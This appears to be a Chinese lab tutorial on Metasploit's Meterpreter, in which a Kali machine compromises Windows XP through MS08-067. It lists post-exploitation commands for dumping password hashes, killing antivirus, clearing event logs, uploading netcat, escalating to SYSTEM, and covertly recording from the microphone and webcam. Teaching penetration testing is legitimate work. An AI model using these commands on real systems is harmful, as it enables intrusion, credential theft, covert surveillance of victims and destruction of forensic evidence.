zoukankan      html  css  js  c++  java
  • MSF使用之meterpreter模块

    一、简介

    Meterpreter是Metasploit提供的一个非常强大的后渗透工具

    Meterpreter可以看成特殊的Payload,之前我们的Payload都是为了获得目标系统的shell

    这里的payload就是shellcode,以获得目标系统的shell为目的的payload

    我们获得的shell有些缺陷,仅利用shell来收集更多的信息、做更多的事情的话是一个偏笨拙的办法。利用Meterpreter可以打开麦克风、用图形界面显示被攻击者的操作界面等等。

    Meterpreter有以下优势:

        • 完全基于内存的DLL注入式Payload,纯内存工作,不需要对磁盘进行任何写入操作
        • 使用加密通信协议,而且可以同时与几个信道通信
        • 在被攻击进程内工作,不需要创建新的进程
        • 易于在多进程之间迁移

    执行过程:

        • 注入合法系统进程并建立Stager
        • 基于Stager上传和预加载DLL进行扩展模块的注入(客户端API)
        • 基于Stager建立的socket连接建立加密的TLS通信隧道
        • 利用TLS隧道进一步加载后续扩展模块(避免网络取证)

    二、基本命令

    获得Meterpreter Shell

    我们先获得一个Meterpreter的shell然后继续后面的内容

    实验机器:

    • Kali Rolling 4.8.10,IP地址192.168.171.129
    • Windows XP Professional SP3,打开445端口,关闭防火墙,IP地址192.168.171.134

    XP打开445端口

    在cmd命令中输入netstat -nao查看445端口是否在监听状态,如果是则跳过,不是则往下继续进行

     依次打开目录HKEY_LOCAL_MACHINESystemCurrentControlSetServicesNetBTParameters,得到下面的结果

    双击SMBDeviceEnabled

     将数值数据改成1,然后点确定即可

     输入netstat -nao,查看是否已经打开,如果没有则重启一下机器

    Kali开始攻击

    我们用ms08_067这个漏洞进行攻击,payload选择Meterpreter的payload,其中targets选择了 Id为34的系统,即Windows XP SP3 Chinese - Simplified (NX)

    然后输入 exploit -j 进行攻击,可以看到先发送了stage,然后创建了Meterpreter会话

    现在我们进入这个Meterpreter Shell

    基本命令

    可以输入help查看一些命令,如果想回到MSF可以输入background

    • pwd:pwd是Linux的命令,Windows是没有的,但在Meterpreter Shell中我们可以用这个命令查看当前所在的目录位置
    • cd:切换目录

    • dir / ls: 列出当前目录的内容

    • cat:查看文件内容
    • mkdir:创建目录
    • rm:删除文件
    • rmdir:删除文件夹
    • mv:移动文件
    • cp:复制文件
    • edit:其实就是Linux 下的 vi 命令
    • lpwd:指 local pwd,查看本地当前的工作目录
    • lcd:切换本地目录
    • getuid:查看Meterpreter登录到系统的用户
    • getsystem:获取system权限
    • getprivs:查看用户权限
    • getpid:Meterpreter是注入到一个合法的进程里面的,然后可以用ps查看我们注入的是哪个进程
    • migrate:将Meterpreter迁移到我们想注入的进程里面,migrate pid
      • 比如services.exe的pid是664,我们可以migrate 664
    • run / bgrun:运行命令,有200多个功能,但不保证所有模块能在目标机器上正常运行,bgrun是在后台运行而不是前台
      • run post/windows/manage/killav 用来杀掉杀毒软件
      • run post/windows/gather/smart_hashdump 获得系统账号和密码的hash,跟直接输入hashdump是一样的
      • run service_manager -l 获得目标系统的服务
      • run vnc 图形化的远程管理
    • clearev:清除目标系统日志。
      • XP电脑运行中输入eventvwr可以打开事件查看器
      • 这时候再去查看已经没有日志了,只有一条日志成功清除的记录 

    • download:下载目标系统的文件到 “lpwd” 目录下
    • upload:上传文件,upload /usr/share/windows-binaries/nc.exe C:\WINDOWS\system32,“”有转义符的意思,我们这里需要两条“”
    • execute:执行命令,-f 后面跟需要执行的命令
      • 和cmd交互:execute -f cmd.exe -i,直接输入shell也能获得操作系统的shell
    • ps:查看目标正在运行的进程
    • netstat:查看目标的网络连接状况、端口开放情况
    • sysinfo:目标操作系统信息
    • kill:杀死进程
    • reboot:重启机器
    • shutdown:关闭机器
    • shell:获得操作系统的shell
    • show_mount:挂载了几个分区
    • search:搜索目标系统的上的文件
      • search -f win.ini
    • arp:查看目标机器的arp缓存
    • ipconfig / ifconfig:查看目标IP信息
    • route:查看路由表
      • 可以添加、删除路由,可以通过route -h查看操作
    • idletime:目标操作系统已经空闲了多长时间,即多长时间没进行操作。时间久可以猜测用户不在计算机前。
    • resource:调用一个外部的资源文件
      • 比如在Kali的“lpwd”目录创建一个 test.txt,里面填入“pwd”等命令,一条命令一行
      • resource test.txt
    • record_mic:用目标的麦克风记录声音
    • webcam_list:列出目标机器上的摄像头
    • webcam_snap:用摄像头拍照
      • webcam_snap -i 1 -v false:每隔1秒拍一次照

    三、Meterpreter Python扩展

    目标机器无需安装Python运行环境,就能运行原生Python代码。

    这个扩展以插件的形式存在,我们需要先加载这个加载:

    load python

    • python_execute "print ('hello')",直接执行python代码
    • python_execute "import os; cd = os.getcwd()" -r cd,将os.getcwd()赋值给 cd 这个变量,然后用 -r cd 读取 cd 这个变量的值
    • python_import -f test.py,导入一个写好的python脚本
    # test.py
    import os print(os.getcwd())
  • 相关阅读:
    Java运行时数据区
    关于Java中的内存屏障
    Java中对象在内存中的大小、分配等问题
    【java基础】两个日期的比较大小的几种方法。
    报错信息: java.sql.SQLException: 不支持的字符集 (在类路径中添加 orai18n.jar): ZHS16GBK
    linux 中文件按照时间倒序或者升序显示
    maven本地仓库存在为什么还要连接外网下载?
    【奇奇怪怪的代码问题】-springboot前后端时间不一致
    日常问题-使用maven jetty插件启动慢的一些解决方法
    Mybatis 框架下 SQL 注入攻击的 3 种方式
  • 原文地址:https://www.cnblogs.com/xiehong/p/13690232.html
Copyright © 2011-2022 走看看